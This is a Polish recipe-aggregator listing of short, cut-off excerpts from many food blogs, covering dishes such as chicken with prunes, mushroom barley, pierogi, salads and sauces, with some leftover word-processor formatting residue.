rozgrzać tłuszcz na patelni, pierś z kurczaka pokroić w paski oprószyć mąką,  dodać pokrojoną w kostkę cebulę, mięso smażyć na złoty kolor, podlewając w razie potrzeby bulionem,  sos powinien być wystarczająco gęsty, ale w razie potrzeby, lub upodobań można go zagęstnić. SMACZNEGO Jeśli wypróbowaliście mój przepis, może wprowadziliście modyfikacje dzięki czemu potrawa nabrała jeszcze lepszego smaku podzielcie się

Kuchnia Beaty
Kurczak ze śliwkami 123

łyżki octu winnego przyprawy: sól, pieprz, czosnek granulowany, oregano WYKONANIE: podudzie przyprawić solą, pieprzem, czosnkiem i smażyć na maśle z cebulą aż do zrumienienia w drugim rondlu robimy sos: mieszamy powidła, śliwki, ketchup, masło, ocet winny i 1/2 szklanki wody-gotujemy wkładamy usmażone mięso i dusimy wszystko do miękkości. SMACZNEGO! Jeśli wypróbowaliście mój przepis, może wprowadziliście modyfikacje dzięki czemu potrawa

Kuchnia Beaty
Kasza jęczmienna z grzybami 173

Witam serdecznie, dziś kolejne danie wigilijne, które właśnie przygotowuje KASZA Z GRZYBAMI   - pyszna, najlepsza  z dodatkiem sosu grzybowego. SKŁADNIKI: 2 woreczki kaszy jęczmiennej 10- 20 dag. grzybów suszonych 3-4 łyżek masła klarowanego vegeta, sól, pieprz 2 ząbki czosnku cebula WYKONANIE:  grzyby namoczyć (około pół godziny), następnie gotować kolejne pół godziny,  grzyby smażyć na maśle

Kuchnia Beaty
Bitki wieprzowe w sosie grzybowym. 150

Chciałabym Was zachęcić do zrobienia BITEK WIEPRZOWYCH W SOSIE GRZYBOWYM. Wybornie smakują z kaszą jęczmienną i modrą kapustą. SKŁADNIKI: około 0.80 kg. polędwiczek(może być szynka, a nawet łopatka), średnia cebula, 2- 3 ząbki czosnku, parę grzybów suszonych (lub świeżych), przyprawa do wieprzowiny knorra,  śmietana, 2-3 łyżki mąki, olej, 1łyżka masła klarowanego, sól, pieprz, liść laurowy, kilka ziaren

Kuchnia Beaty
Kurczak z suszonymi pomidorami. 151

składniki dusić pod przykryciem kilka minut, Zetrzeć połowę parmezanu, dusić chwilę, a następnie zdjąć z ognia i dodać śmietankę,   Makaron położyć na półmisku (można wyłożyć liśćmi sałaty), polać sosem i posypać parmezanem, Danie udekorować świeżymi listkami bazylii.  Jeśli wypróbowaliście mój przepis, może wprowadziliście modyfikacje dzięki czemu potrawa nabrała jeszcze lepszego smaku podzielcie się tym ze mną proszę( będę

Kuchnia Beaty
Jajka faszerowane. 177

ogórkiem konserwowym Normal 0 21 false false false PL X-NONE X-NONE MicrosoftInternetExplorer4 SKŁADNIKI NA FARSZ Z TUŃCZYKIEM: 3 jajka 1/2 puszki tuńczyka w oleju lub w sosie własny(resztę można zużyć do sałatki z tuńczykiem) 1 łyżka majonezu  1 pęczek drobno posiekanego  koperku  sól i pieprz do smaku  WYKONANIE: Jajka ugotować na twardo

Kuchnia Beaty
Kurczak marynowany I 171

tych, które można przygotować dzień wcześniej. KURCZAK MARYNOWANY W PRZYPRAWACH. Lubię mięsa, które mogę przygotować przeddzień i będą pyszne, to ułatwia życie pracującym kobietą. SKŁADNIKI: 3-4 udka MARYNATA: sos sojowy do drobiu oregano przyprawa:suszone pomidory, czosnek,bazylia - Kamisa sól, pieprz, papryka ostra oliwa z oliwek WYKONANIE: udka podzielić na udziec i pałkę przygotować marynatę, włożyć mięso(ja marynuję

Kuchnia Beaty
Kotlety schabowe z odzysku... 317

Witam, zostały Wam kotlety schabowe, jutro nikt ich nie będzie chciał jeść...niekoniecznie! Wczorajsze kotlety w delikatnym pomidorowym sosie są przepyszne!! SKŁADNIKI: wczorajsze schabowe trochę masła lub margaryny 3- 4 łyżki koncentratu 3/4l wody sól, pieprz, przyprawa Kamis - bazylia,suszone pomidory i czosnek WYKONANIE: na maśle lub margarynie smażymy cebulę, dodajemy czosnek i wszystkie przyprawy ( łącznie z koncentratem), dolewamy wodę

Kuchnia Beaty
Kura po cygańsku. 234

kostkę wkładamy do garnka z masłem klarowanym, doprawiamy solą, pieprzem i vegetą, dodajemy łyżkę mąki chwilę smażymy- gotowe. Danie podajemy na talerzach: porcja mięsa, marchewka i kluska z sosem mięsnym. Smacznego!  Jeśli wypróbowaliście mój przepis, może wprowadziliście modyfikacje dzięki czemu potrawa nabrała jeszcze lepszego smaku podzielcie się tym ze mną proszę. Umieszczę Was udoskonalony przepis na moim blogu

Kuchnia Beaty
Sos koperkowy. 151

Młode ziemniaczki zagościły już na dobre na naszych stołach, proponuję więc smaczny dodatek sos koperkowy. SKŁADNIKI: spory pęczek koperku 1-2 łyżki masła lub kostka warzywna (drobiowa) Knorra woda około 100ml śmietany 18% słodkiej 1łyżka mąki WYKONANIE: koperek siekamy drobno do małego garnka wlewamy wodę, wkładamy masło lub kostkę, wrzucamy koperek, gotujemy około 15 min. mąkę mieszamy ze śmietaną wlewamy

Kuchnia Beaty
Karkówka w całości. 258

Karkówka to bardzo dobre mięso w każdej postaci. Sosy z pieczeni ciemne, aromatyczne super do kluseczek śląskich. Karkówka w całości to dobry dodatek obiadowy oraz jako obkład! Tym razem przyrządziłam ją w aromatycznej marynacie. SKŁADNIKI: 1,5- 2kg. karkówki wieprzowej MARYNATA: 5 łyżek oliwy z oliwek, 2 łyżki ketchupu pikantnego, 5 ziarenek pieprzu roztartego w moździerzu, szczypta soli

Kuchnia Beaty
Roladki z polędwicy z suszonymi pomidorami, fetą i żurawiną. 183

termoobiegiem) około pół godziny, zdejmujemy folię i pieczemy 10-15 min. do zrumienienia. Jeśli pieczecie na patelni to można dodać pokrojoną cebulkę, otrzymacie pyszną bazę na sos

Kuchnia Beaty
Pierogi z kapustą i grzybami. 183

Pierogi goszczą na moim wigilijnym stole od wielu lat. Podaję je z pysznym sosem grzybowym. Ciasto na pierogi przygotowuję z dodatkiem utłuczonych ziemniaków moim zdaniem to najlepsze ciasto. SKŁADNIKI: ciasto: 2 jajka 4 średnie ugotowane i utłuczone ziemniaki około szkl. mąki szczypta soli ewentualnie trochę mleka (gdyby ciasto było za twarde) WYKONANIE:  wszystkie składniki wymieszać, dosypywać mąkę i wyrabiać

Kuchnia Beaty
Wigilijna wieczerza. 140

jeszcze ciasta, więc makowiec (no to mak do makiełek przy okazji) no i serniczek z rosą. Jutro usmażę krokiety, upiekę paszteciki (ciepłe do barszczu najlepsze!), zrobię kapustę z grzybami, sos grzybowy, usmażę dorsza, karpia, dokończę zupy- no i ostatnie ciasto brzdąc. Pokroję też wszystko na sałatki-tradycyjnie gyros, no i jeszcze jakaś, ale na razie nie wiem. Aha schab

Kuchnia Beaty
Strogonow z polędwiczki wieprzowej. 268

był pyszny. SKŁADNIKI: polędwiczka około 0,5 kg. 3 ogórki kiszone 1 średnia cebula 0,5 kg. pieczarek 2 łyżki koncentratu pomidorowego przyprawy: sól, pieprz, majeranek, papryka ostra, słodka, sos sojowy, kieliszek koniaku lub whisky masło klarowane WYKONANIE: polędwiczki kroimy na plastry gr. 1 cm, zgniatamy ręką, a następnie kroimy w cienkie paski, smażymy na maśle z przyprawami (około

Kuchnia Beaty
Spaeztle alpejskie z warzywami. 229

czyli regionu wchodzącego w skład południowoniemieckich landów - Badenii-Wirtembergii oraz Bawarii. Tamże są popularne zupełnie jak u nas ziemniaki. Stanowią wspaniały dodatek do obiadu (przede wszystkim do dań z sosami, pieczeni), ale występują również jako samodzielne dania. SKŁADNIKI: Szpecle: 2 jajka 1i 1/2 szkl. mąki kieliszek wody lub mleka sól, pieprz, vegeta, 2 szczypty ziół prowansalskich, odrobina gałki. warzywa

Kuchnia Beaty
Halloumi w sezamowej panierce na sałatce z rukoli 242

dressing: 1 łyżka suszonego lub świeżego oregano, 1 ząbek czosnku rozgnieciony, 1 łyżeczka octu z białego wina, 3-4 łyżki oliwy, sól, pieprz, ewentualnie odrobina zimnej wody do rozrzedzenia sosu Przygotowanie: Zacznij od upieczenia papryki. Możesz zrobić to na przykład dzień wcześniej. Przekrój papryki na pół i ułóż skórą do góry na blasze wyłożonej papierem do pieczenia. Wstaw do piekarnika

Chilli Czosnek i Oliwa
Kurczak w cytrusach 309

godziny w tem. 180 stopni. Pierwsze 30 minut piekłam bez przykrycia folią potem przykryłam a pod koniec ponownie zdjęłam, aby skórka była chrupiąca. Podczas pieczenia kilkukrotnie polałam go własnym sosem. Kurczak jest bardzo soczysty, połączenie smaków bardzo wyważone. Tym sposobem będę często robić kurczaka ! Można go podać z pieczonymi ziemniakami, marchwią, frytkami lub po prostu z kawałkiem dobrego chleba . Uwaga

Basia w kuchni
Spaghetti à la bolognese. 181

przykrywki dusimy do uzyskania pożądanej konsystencji. Doprawiamy solą pieprzem, chili oraz cukrem.  Makron gotujemy w 2,5 litrach osolonej według czasu podanego na opakowaniu, odcedzamy, polewamy sosem, posypujemy parmezanem i natką pietruszki. Smacznego

Symfonia smakowa
Shoarma drobiowa 337

sklepie nigdy nie trafiłam na gotową mieszankę do Shoarmy. Dostałam ją dzięki uprzejmości Przyprawy Świata Gdynia . :-) To był pierwszy, ale nie ostatni raz. Polecam w zestawie z dietetycznymi frytkami , sosem czosnkowym i glazurowaną marchewką .  podwójny filet z kurczaka przyprawa do shoarmy, u mnie od Przyprawy Świata Gdynia olej, sól 1. Filety z kurczaka oczyszczamy i kroimy w niewielkie paski

Szefowa kuchni
Krążki cebulowe 324

Ostatnie dni karnawału to idealny moment na przygotowanie cebulowych krążków. Zastąpić mogą one sklepowe, niezdrowe chipsy. Dla urozmaicenia, krążki cebulowe podawać możecie z sosami - majonezowych, ketchupem czy innym. Składniki: 2 duże cebule 2 jajka 2 łyżki mleka 1/2 szklanki bułki tartej 1/4 łyżeczki pieprzu cayenne sól olej do głębokiego smażenia - około 1 litra Wykonanie: Cebulę pokroić na plastry grubości około

kolorowotorcikowo
Obiad za 10zł - Makaron penne zapiekany z kurczakiem i pomidorami pod mozzarellą. 271

małe kostki i podsmażamy lub grillujemy na patelni bez tłuszczu. Makaron podgotowujemy w osolonej wodzie na pół-twardo. Przekładamy go do naczynia żaroodpornego, dodajemy na górę kurczaka, przykrywamy sosem, podlewamy śmietanką. Posypujemy startą mozzarellą. Pieczemy w temperaturze 185 stopni około 25 minut. RADA: możecie sprawić, że danie będzie jeszcze bardziej ekonomiczne; można użyć mięsa z obiadu z dnia poprzedniego; może

BaRepas
Lekki pasztet drobiowy 366

piecyk Wyjąć blaszkę z piekarnika i odkroić mięso od brzegów. Zostawić do wystygnięcia - ja studzę pasztet na kratce nad zlewem Można podawać w plastrach na półmisku jako przekąskę z sosami. Ja najbardziej lubię do kanapek z ogórkiem kiszonym: ) Smacznego

www.szczesliwakuchnia.blogspot.com
Sos tzatziki 163

Sos bardzo prosty w wykonaniu i zajmujący niewiele czasu, który można podawać do mięs z grilla lub wędlin. Ja podaję również do placków ziemniaczanych i placków z cukinii . Fajnie smakuje też z pasztetem drobiowym . Tzatziki robię tak, że łączę śmietanę, jogurt naturalny, czosnek i świeży ogórek. Składniki: 2 łyżki śmietany 18% 2 łyżki jogurtu naturalnego (może być typu

www.szczesliwakuchnia.blogspot.com
LIEBSTER BLOG AWARD 156

Dlaczego? 5. Twoje danie w 15 minut to... 6. Czy zdarza Ci się używać do gotowania wszelkiego rodzaju  "wspomagaczy" w postaci np. sernika na zimno z kartonu, czy sosu do spaghetti ze słoika? Jeśli tak, to których używasz najczęściej? (nie muszą być te wymienione przeze mnie - to tylko przykłady) 7. Większe trudności sprawia Ci przyrządzenie ciast czy dań głównych

www.szczesliwakuchnia.blogspot.com
Kebab z opiekacza do sandwichy 410

musi być bardzo ostry nóż, żeby mięso nie "rozsypało" się podczas krojenia Następnie, na każdym placku do tortilli, układamy na jednaj połowie najpierw kapustę, potem mięso i polewamy łyżką sosu przygotowanego z ketchupu i majonezu Zwijamy wszystko dosyć ciasno: najpierw zakładamy boki, a następnie, zwijając od siebie, tworzymy rolun Rozgrzewamy opiekacz do sandwichy, układamy po jednym kebabie jak najbliżej zawiasów

www.szczesliwakuchnia.blogspot.com
Kwadraciki z wędliną, pieczarkami i serem żółtym - przepis autorski 229

Ciasto francuskie jak paszteciki:) Nadziane wędliną, pieczarkami, cebulą i serem żółtym. Troszkę jak mini pizze, ale bez sosu. Dobry przepis na wykorzystanie resztek z lodówki.  I dobry pomysł na chrupanie podczas meczu ;) Składniki: ok. 100 gramów wędliny 5-6 sztuk pieczarek 1 mała cebula 5 plasterków sera żółtego, ale można dać drugie tyle jajko do posmarowania ciasta zioła prowansalskie

www.szczesliwakuchnia.blogspot.com
Bounty 201

wodą stawiamy na gazie, na małym ogniu a na nim naczynie, do którego przekładamy czekoladę) Mieszamy do połączenia składników i polewamy ciasto. Ja, dla ułatwienia sobie pracy, przelałam sos do sosjerki. Dzięki lejkowi łatwiej mi było polać ciasto Bounty schładzamy w lodówce, by zgęstniało na tyle mocno, aby możne je łatwo pokroić. Nie powiem, żeby było "na zdrowie

www.szczesliwakuchnia.blogspot.com
Sałatka Cezar 415

kostkę Na patelni rumienimy 2-3 kromki chleba pokrojone w kostkę Pomidory kroimy na kawałki (jeśli używamy pomidorków koktajlowych - w ćwiartki) Sałatę przekładamy do salaterki  i łączymy z sosem z soku wyciśniętego z pomarańczy, oliwy i przypraw Dodajemy pomidory, kurczaka i mieszamy Na wierzch dajemy grzanki i parmezan Zjadamy:) Na zdrowie

www.szczesliwakuchnia.blogspot.com
Kurczak curry z suszoną śliwką 170

Kurczaka przyrządzonego  w ten sposób  robię jako dodatek do kanapek. Jest to jedno z dwóch dań mięsnych z owocami, które lubię. Drugie to kurczak w sosie słodko-kwaśnym . Kiedyś bardzo często jadałam kurczaka z ananasem, ale znudził mi się i tak naprawdę to zraziłam się do mięsa z owocami. Myślę, że taki kurczak curry może być również podany

www.szczesliwakuchnia.blogspot.com
Kostki rosołowe 221

woreczki do mrożenia płynu. Kiedyś mroziłam w nich zupy i wiem, że takie woreczki spełniają swoją funkcję należycie:) Zamrożony wywar będzie Was błagał:) o przekształcenie go w pyszną zupę, sos lub po prostu posłuży jako zdrowa, PRAWDZIWA przyprawa. Już mi ślinka cieknie;) Co potrzebujecie? duży garnek, taki naprawdę duży:) 500-600 gramów mięsa  1 cały por (biała i zielona

www.szczesliwakuchnia.blogspot.com
Tajine warzywny 178

komin. Sprawdzałam czy woda się skrapla i czy warzywa nie przywierają Po upływie 2h - 2,5h tajiny wyjmujemy, zdejmujemy komin i zjadamy :) Naczynia myjemy po całkowitym wystudzeniu Podałam z sosem tzatziki , którym polewałam warzywa. Pycha! Tak lekkie danie można podać nie tylko na obiad, ale również na kolację. Na zdrowie

www.szczesliwakuchnia.blogspot.com
Fileciki z kurczaka w panierce kukurydzianej z sosem jogurtowo-porowym 332

oprószyć mąką i zanurzyć w rozkłóconym jajku wymieszanym z płatkami kukurydzianymi Rozgrzać olej na patelni i smażyć kawałki kurczaka z obu stron na złoty kolor Podawać z wcześniej przygotowanym sosem  Ja podałam z ziemniakami i ogórkiem kiszonym Smacznego

www.szczesliwakuchnia.blogspot.com
Poskręcane parówki w poskręcanym cieście francuskim 178

śniadanie taka sobie odmiana parówek? Dla niektórych prawdopodobnie ich profanacja:) Ale ja zjadłam z ogromnym smakiem. Takie było moje śniadanie. Do tego podałam niewielką garść sałaty lodowej z  sosem Vinegrette . Mmmniammm! Przepis dawno temu zaczerpnięty z internetu. Składniki: 6 parówek 1 opakowanie ciasta francuskiego 1 jajko do posmarowania przed pieczeniem Ciasto francuskie dzielimy na prostokąty Na każdy prostokąt nakładamy

www.szczesliwakuchnia.blogspot.com
Placki dyniowe 243

Dodać mąkę ziemniaczaną, jogurt kozi i przyprawić - wszystko niedbale zmiksować Rozgrzać olej na patelni i nakładać łyżką placki. Jedna łyżka - jeden placek. Uklepać :) Można podać z sałatą lub z sosem jogurtowo-ziołowym. Smacznego

www.szczesliwakuchnia.blogspot.com
Zapiekanka trzy sery z makaronem i bazylią 207

pieczemy kolejne 20-25 minut Ponieważ zapiekanka jest raczej ciężkostrawna ze względu na dużą ilość sera, podajemy ją z mieszanką sałat. Można sałaty polać oliwą z oliwek lub sosem vinegrette . Smacznego

www.szczesliwakuchnia.blogspot.com
Sałatka śledziowa 262

minut - niech trochę wystygną (ja studziłam przy otwartym oknie - taka pogoda teraz, że szybko wystygną) Po przestudzeniu - kroimy w kwadraciki i przekładamy do pozostałych składników - mieszamy Teraz robimy sos: majonez i jogurt naturalny przekładamy do oddzielnej miseczki, wsypujemy przyprawy i wszystko bardzo dokładnie mieszamy Przelewamy do sałatki, delikatnie mieszamy i... ZJADAMY! :) Po co kupować? Robić! I na święta będzie

www.szczesliwakuchnia.blogspot.com
Jak wykorzystać miąższ z pomidorów? 343

Robiłam suszone pomidory. Miałam ich 2 kg i został mi po nich miąższ, którego nie chciałam wylewać. Zrobiłam więc z niego sos, który doskonale nada się do zupy pomidorowej lub do leczo. Do pizzy jest za rzadki, więc nie polecam. Składniki: miąższ z 2 kg pomidorów 1 łyżeczka ziół prowansalskich pieprz ziołowy sól morska z chilli Miąższ miksujemy na papkę

www.szczesliwakuchnia.blogspot.com
Kurczak w suszonych pomidorach 233

składniki: wino, suszone pomidory, miód, zielone oliwki sok, z cytryny - doprawiamy Przykrywamy i dusimy 15 minut Po upływie tego czasu zdejmujemy pokrywkę i gotujemy ok. 5 minut do zredukowania sosu Można podać z ryżem Smacznego :) W myśl akcji

www.szczesliwakuchnia.blogspot.com
Gołąbki bez zawijania z kapustą pekińską 290

Ugotowaliście już obiad? Jeśli nie macie pomysłu, co dzisiaj przygotować, zróbcie gołąbki. Są szybkie i łatwe do przygotowania. Można je podawać z ulubionym sosem. SKŁADNIKI: 1/2 kapusty pekińskiej, 500g mięsa mielonego wieprzowego, 1 saszetka ryżu, 2,5 łyżki kaszy manny, 2 jajka, 1/2 łyżki przyprawy uniwersalnej, oliwa, sól, pieprz, mąka. PRZYGOTOWANIE: 1. Kapustę pekińską bardzo drobno kroję, solę i odstawiam

Tradycyjna kuchnia Kasi
Kurczak w sosie krewetkowym na ostro 313

kostki (Jumbo, rosołowe). Garnek przykrywamy i dusimy 15 -20  minut na średnim ogniu. Czas zależny oczywiście od kuchenki. Później odkrywamy przykrywkę i gotujemy przez 5 minut, tak aby sos zgęstniał. Podajemy z ryżem białym długoziarnistym

Smaki Brazylii
SERNIK Z RICOTTY W MALINACH 217

stówkę w dawno nie noszonych spodniach? Albo chociaż dyszkę? Pamiętacie tę radość? Taką samą odczuliśmy, gdy w przepastnych przestrzeniach zamrażalnika znaleźliśmy paczkę zamrożonych latem malin… Przyrządzony z nich sos świetnie dopełnił leciutki sernik z ricotty. Gdyby przyszło Wam jednak do głowy szukać Waszych zapomnianych malin, to przypomnijcie sobie, ile razy znaleźliście rzeczoną stówkę i „nie grzejcie zamrażalnika

GRUBY WAŁEK
Zapiekane ziemniaki z cukinią 160

straszny ;) Ziemniaki kojarzą nam się z ciężkim i kalorycznym jedzeniem jednak nie do końca. To wszystko zależy z czym je połączymy. Jeśli zrezygnujemy z takich dodatków jak np.ciężkie sosy lub panierowane filety z kurczaka już nie jest tak źle. Sam ziemniak zawiera około 0.1 % tłuszczu, jest niskokaloryczny (ok. 75 kcal w 100g). W bulwie ziemniaka znajdziemy potas, magnez, żelazo

noteskulinarnyfiga
Rolex :) 154

gotowania z angielskimi, arabskimi oraz indyjskimi wpływami. Wiele tradycyjnych dań zawiera różne warzywa, ziemniaki, banany i innne tropikalne owoce oraz świeże ryby, mięso. Główne dania zwykle opierają się na sosach i gulaszach na bazie orzeszków ziemnych, fasoli lub mięsa. Jako dodatek używa się często ugali (papka z mąki kukurydzianej) lub matooke (gotowane i gniecione zielone banany). Jednak chciałam napisać kilka

noteskulinarnyfiga
zapiekanka ze szparagami i bekonem 171

formę do pieczenia( jak na ciasto). Smarujemy ją lekko olejem. Ugotowany ryż przekładamy na blachę. W osobnym naczyniu mieszamy: śmietanę, ketchup, koncentrat pomidorowy, curry, sól, pieprz, sok z cytryny. Sos przelewamy do ryżu dokładnie mieszając. Całość rozkładamy równomiernie po formie do pieczenia. Szparagi owijamy bekonem i układamy na ryżu.  Jeśli zostanie wam troche bekonu możecie rozłożyć go pomiędzy szparagami

noteskulinarnyfiga
LUTY: KULINARNA BIBLIOTECZKA - Gogo's kitchen Smaki Republiki Południowej Afryki 143

południowoafrykańskich. Dowiemy się jakie wina z RPA są najlepsze i znajdziemy wskazówki odnośnie dobierania wina do poszczególnych potraw. Przepisy podzielone są na kilka kategorii: przekąski, dania główne, przystawki i sosy oraz ciasta i desery. /* Style Definitions */ table.MsoNormalTable {mso-style-name:Standardowy; mso-tstyle-rowband-size:0; mso-tstyle-colband-size:0; mso-style-noshow:yes; mso-style-priority

noteskulinarnyfiga
Sernik cytrynowe latte chia z gorącym chutneyem 211

Przygotowane zapasy drastycznie malały, aż została mała porcja, zbyt mała by obdzielić gości, i tak ten pyszny likier dostał swoje ostatnie 5 minut. Zabłysnął w towarzystwie jabłek w prostym sosie, znakomitym dodatku do deserów w podobnych nutach smakowych. Wybór padł na pieczony sernik, który od jakiegoś czasu miałam zamiar połączyć z nasionami chia. Powstał pyszny, bardzo lekki sernik z ciekawą

SzczyptaSmaQ
SURÓWKA Z PORA, MARCHEWKI I JABŁKA 7066

obok cebuli i czosnku jedna z najstarszych jarzyn polskich.  Ma bardzo dużo zalet odżywczych i leczniczych. Nadaje się do zup, sosów, sałatek i surówek. Jeśli lubicie smak i zapach pora, to surówka, którą przedstawiam na pewno przypadnie Wam do gustu. Jest nie co ostrzejsza niż np. surówki z białej kapusty czy z pekinki, ale połączenie soczystego jabłka i lekkiej

Walijskie Pichcenie
Gołąbki w innej odsłonie 150

pęczakiem SKŁADNIKI: 600 g kapusty białej (w główce) 500 g mięsa mielonego wieprzowo-wołowego 100 g ryżu 50 g kaszy pęczak 2 jajka sól do smaku pieprz do smaku sos sojowy 2 łyżeczki kasza manna - opcjonalnie by uzyskać odpowiednią mąka pszenne do obtoczenia tłuszcz do smażenia 1 puszka pomidorów zioła prowansalskie do smaku konsystencję PRZYGOTOWANIE: Kapustę szatkujemy dość drobno

Kulinarny Świat Konczi i Szpileczki
Poniedziałkowy "fit" - frytki marchewkowe 185

Drugą Naszą propozycją na zdrowsze frytki są te - zrobione z marchewki. Smakowały bardzo dobrze, szczególnie z lekkim sosem koperkowym na bazie jogurtu. Frytki marchewkowe SKŁADNIKI: 2 duże marchewki (ok 300 g) 1 łyżka oliwy z oliwek papryka słodka w proszku sól Marchewki obieramy i kroimy na słupki jak frytki tylko troszkę cieńsze. Przekładamy do miski i posypujemy słodką papryką

Kulinarny Świat Konczi i Szpileczki
Banany w czekoladzie z orzechami 193

Banany w czekoladzie z orzechami SKŁADNIKI: 1 duży banan 100 g czekolady mlecznej 2 łyżki mleka szczypta papryki chilli 100 g orzechów laskowych 2 plasterki kiwi bita śmietana sos czekoladowy PRZYGOTOWANIE: Orzechy łupiemy, następnie obrane już siekamy na drobno, przekładamy na spodek. Czekoladę rozpuszczamy w kąpieli wodnej z dodatkiem mleka i szczypty chilli. Banana obieramy i kroimy w średnie kawałki

Kulinarny Świat Konczi i Szpileczki
Restauracja Kryształowa - Katowice 158

brak wyrazistości. Jednak warto pamiętać, że dla każdego z nas wyrazistość w smaku ma inną tonację.   Szpileczka wybrała jako danie główne   p ieczeń białą z indyka w sosie śmietanowym z kluskami i kapustą. Kluseczki były   przeciętne, kapusta lekko przesolona, mięsko   bardzo smaczne, delikatne w smaku i kruche. Po sytym obiedzie przyszła pora na deser

Kulinarny Świat Konczi i Szpileczki
Sałatka z tuńczykiem i kukurydzą 325

jednak składniki te pasują do siebie, a ja jestem zadowolona, że mam podaną kolację. Sałatka z tuńczykiem i kukurydzą    SKŁADNIKI: 1 puszka kukurydzy 1 puszka tuńczyka w sosie własnym sól pieprz 1/3 pora (środkowa część) 4 ogórki konserwowe 2 łyżki majonezu 1 łyżeczka musztardy koperek Tuńczyka i kukurydzę odsączyć z zalewy i przełożyć do miski. Pora pokroić

Kulinarny Świat Konczi i Szpileczki
Roladki z kurczaka z kasztanami, żurawiną i serem lazur 176

najbardziej pospolite mięso. Robi się je szybko i na wiele sposobów. Najczęściej jemy w postaci kotletów, niekoniecznie w panierce, lub pokrojone w kostkę i podsmażone z cebulą, czasem w sosie jogurtowym. Dziś jednak podaje kurczaka w bardziej eleganckiej i wytrawnej formie, w postaci roladek z kasztanami, żurawiną i serek lazur. Ciekawy smak dania uzupełnia delikatny posmak mięty i odrobina wytrawnego

Kulinarny Świat Konczi i Szpileczki
Paluchy ziemniaczano-serowe 267

pomocą szprycy do kremów formujemy na papierze do pieczenia paluchy     Wstawiamy je do nagrzanego piekarnika do 200 stopnia na 17 minut.  Podajemy z dowolnym sosem

Kulinarny Świat Konczi i Szpileczki
Poniedziałkowy "fit" - surówka z kapusty pekińskiej z groszkiem 326

kroimy w pół plasterki lub drobniej. Marchewkę obieramy i ścieramy na tarce o drobnych oczkach.  Wszystkie składniki mieszamy. Doprawiamy solą i pieprzem. Musztardę mieszamy z jogurtem i powstałym sosem polewamy surówkę

Kulinarny Świat Konczi i Szpileczki
Muszle z mięsnym nadzieniem 382

mielonego i smażymy aż nie będzie surowe. Otwieramy puszkę z pomidorami, pomidory kroimy na małe kawałki i dodajemy do mięsa. Dodajemy pastę paprykową, mieszamy i podsmażamy ok 10 minut. Sos z puszki mieszamy z bazylią, doprawiamy solą i pieprzem i wylewamy na dno naczynia żaroodpornego. Muszle nadziewamy przygotowanym farszem mięsnym i układamy w naczyniu.     Ser żółty ścieramy

Kulinarny Świat Konczi i Szpileczki
Sałatka z tuńczykiem i fasolką 294

chciałam ją wykorzystać do kolacji. Połączenie jej z tuńczykiem okazało się bardzo trafne i smaczne. Sałatka z tuńczykiem i fasolką SKŁADNIKI: 250 g fasolki szparagowej (mrożona) puszka tuńczyka w sosie własnym 1 czerwona cebula kolorowy pieprz sól łyżka jogurtu naturalnego łyżeczka majonezu  Przygotowanie:   Fasolkę szparagową gotujemy w lekko osolonej wodzie, następnie odcedzamy i studzimy. Wystudzoną fasolkę kroimy

Kulinarny Świat Konczi i Szpileczki
Farfalle z kurczakiem w pomidorach z oregano 366

rondla przekładamy mięso i je podduszamy,  dodajemy pomidory oraz doprawiamy solą, pieprzem i oregano. Całość podduszamy 10 minut. Natkę siekamy.  Na talerze nakładamy makaron, następnie nakładamy mięsny sos. Dekorujemy natką pietruszki

Kulinarny Świat Konczi i Szpileczki
Poniedziałkowy "fit" - Sałatka z fasolki szparagowej z tuńczykiem 376

pracochłonne, chociaż czas jej przygotowania wydłuża się z racji gotowania fasolki szparagowej.  Polecam ją na kolację. Sałatka z fasolki szparagowej z tuńczykiem  SKŁADNIKI : 1 puszka tuńczyka w sosie własnym 200 g żółtej fasolki szparagowej 1 łyżeczka soli koperek PRZYGOTOWANIE : Fasolkę szparagową przekładamy do garnka, zalewamy wodą, dodajemy sól i gotujemy do miękkości, odcedzamy. Odcinamy końce fasolki. Kroimy

Kulinarny Świat Konczi i Szpileczki
Domowy przecier pomidorowy 154

smaku naszych polskich pomidorów na jesienne czy zimowe dni. Polecam przygotowanie kilku słoiczków domowego przecieru, który świetnie nada się na zupę pomidorową  czy też rożnego rodzaju gulasze bądź sosy. W mojej spiżarni nie może zabraknąć kilku takich pomidorowych słoiczków. Domowy przecier pomidorowy na zimę SKŁADNIKI: 4,6 kg pomidorów 1 - 2 łyżki cukru 1 - 2 łyżeczki soli PRZYGOTOWANIE: Pomidory

Kulinarny Świat Konczi i Szpileczki
Twarogowa pasta z makrelą w pomidorach 179

najlepiej chudy kruszymy bądź rozgniatamy widelcem i przekładamy do miseczki. Czosnek obieramy i przeciskamy przez praskę, dodajemy do twarogu.  Puszkę z makrelą otwieramy i przekładamy ją wraz z sosem do miseczki i całość dokładnie mieszamy do uzyskania jednolitej pasty.  Szczypiorek siekamy.  Pastę podajemy oprószając szczypiorkiem. Jakiś czas temu otrzymałyśmy paczuszkę chlebków lnianych Habżyki w trzech kompozycjach smakowych

Kulinarny Świat Konczi i Szpileczki
Leniwe kluski serowe 372

robię i ja. U mnie w domu jada się je na obiad, najczęściej polane roztopionym masłem z dodatkiem bułki tartej. Smakują domownikom również podane ze słodkimi dodatkami, owocami lub sosami jogurtowymi.  Leniwe kluski serowe   SKŁADNIKI: 250 g sera białego twarogowego 3/4 szklanki mąki 1 jajko szczypta soli PRZYGOTOWANIE: Ser biały przeciskam przez sito lub dokładnie rozgniatam. Oddzielam białko

Kulinarny Świat Konczi i Szpileczki
Łopatka duszona z białą cebulą 440

plastry, kiedy bulion się wygotuje podsmażamy mięso, podlewamy przywar 200 ml wody i wrzucamy cebulę, doprawiamy, mieszamy całość i dusimy pod przykryciem około 10 minut.  Podajemy z ulubionym sosem

Kulinarny Świat Konczi i Szpileczki
Małże w sosie pomidorowym 246

pokrywką i dusimy około 5 minut (do czasu, aż wszystkie muszle się otworzą). 4. Odkrywamy pokrywkę, doprawiamy solą i pieprzem, posypujemy drobno posiekaną natką pietruszki. 5. Na koniec zagęszczamy sos łyżką zimnego masła. Podajemy z chrupiącą, ciepłą bagietką, ćwiartką cytryny i kieliszkiem białego wina

W kuchni Katie
Bardzo zdrowa sałatka na niedzielne śniadanie 360

oleju zabezpiecza dzienne potrzeby organizmu w NNKT.  Znakomity jest do ziemniaków, kasz, pieczywa, sera , ryb-śledzi, mięs, wszelkich warzywnych sałatek i surówek a szczególnie cebuli i czosnku, do sosu Winegret, majonezów, dresingów itp. Śniadanie gotowe ! Smacznego

Z Kuchni Do Kuchni
Zapiekane roladki z grillowanego bakłażana z mielonym mięsem i serem. Walentynki moim okiem. 233

